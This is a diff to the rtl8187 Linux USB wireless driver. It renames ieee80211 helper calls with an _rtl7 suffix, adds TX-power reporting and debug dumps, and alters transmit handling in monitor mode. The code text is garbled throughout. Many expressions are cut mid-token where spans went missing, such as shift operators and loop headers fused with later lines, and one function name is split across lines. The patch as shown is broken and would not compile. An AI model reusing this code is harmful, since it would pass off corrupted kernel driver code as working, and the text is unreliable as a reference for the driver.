@@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +417,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +437,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +487,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +525,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +543,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +573,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +611,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -624,31 +664,27 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +696,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +714,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-04-23 00:08:11.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,115 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +943,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +968,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +994,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1010,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; } - + void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1120,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1134,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1155,32 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + } + else + { + //DMESG("TX"); + if (!check_nic_enought_desc(dev, 